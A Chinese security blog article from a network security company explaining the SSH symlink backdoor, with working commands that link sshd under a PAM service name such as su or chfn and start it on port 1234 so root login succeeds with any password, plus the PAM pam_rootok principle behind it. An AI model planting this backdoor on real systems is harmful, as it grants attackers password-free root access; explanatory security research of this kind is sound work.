登陆 注册

SSH软链接后门利用和原理

广州锦行网络科技有限公司 2021-08-18

本文由锦行科技的安全研究团队提供,主要介绍SSH软连接后门的利用和相关原理。



00 利用前提

ssh配置中开启了PAM进行身份验证

查看是否使用PAM进行身份验证:cat/etc/ssh/sshd_config|grep UsePAM



01 建立后门

建立软连接后门:ln-sf/usr/sbin/sshd/tmp/su;/tmp/su-oPort=1234

注意:软链接的路径不是绝对的,但名字不是随便命名的,使用命令find/etc/pam.d|xargs grep "pam_rootok",出现的则可以用作软链接名称

# find /etc/pam.d |xargs grep "pam_rootok"                           123 ⨯
grep: /etc/pam.d: 是一个目录
/etc/pam.d/su:auth       sufficient pam_rootok.so
/etc/pam.d/su:# permitted earlier by e.g. "sufficient pam_rootok.so").
/etc/pam.d/runuser:auth         sufficient      pam_rootok.so
/etc/pam.d/chsh:auth            sufficient      pam_rootok.so
/etc/pam.d/chfn:auth            sufficient      pam_rootok.so

测试

使用root执行命令
# ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oPort=1234
然后使用ssh任意密码连接1234端口登录root账户

02 原理

1.pam_rootok.so模块

   pam_rootok.so主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。

我们查看/etc/pam.d/su 文件中,我们可以看到使用了该模块,这也是为什么root用户切换至普通用户不需要密码的原因。

1.PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。


2.当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。


生成海报
请发表您的评论
广州锦行网络科技有限公司

广州锦行网络科技有限公司

广州锦行网络科技有限公司,2016年正式投入运营,由多名国内顶尖信息安全专家联合创办,拥有数十名国内一线安全人才。公司技术团队拥有十余年国内外攻防渗透研究及实战经验,在Web安全、渗透测试和APT防御等多个领域具备国际顶尖的技术水平,致力于为政企用户提供专业的内网欺骗防御、攻防对抗实战,重大安全事件预演,特权账号管理等零信任架构网络安全解决方案。
11文章数 0评论数
请关注微信公众号
微信二维码
不容错过
Powered By SangYun.Net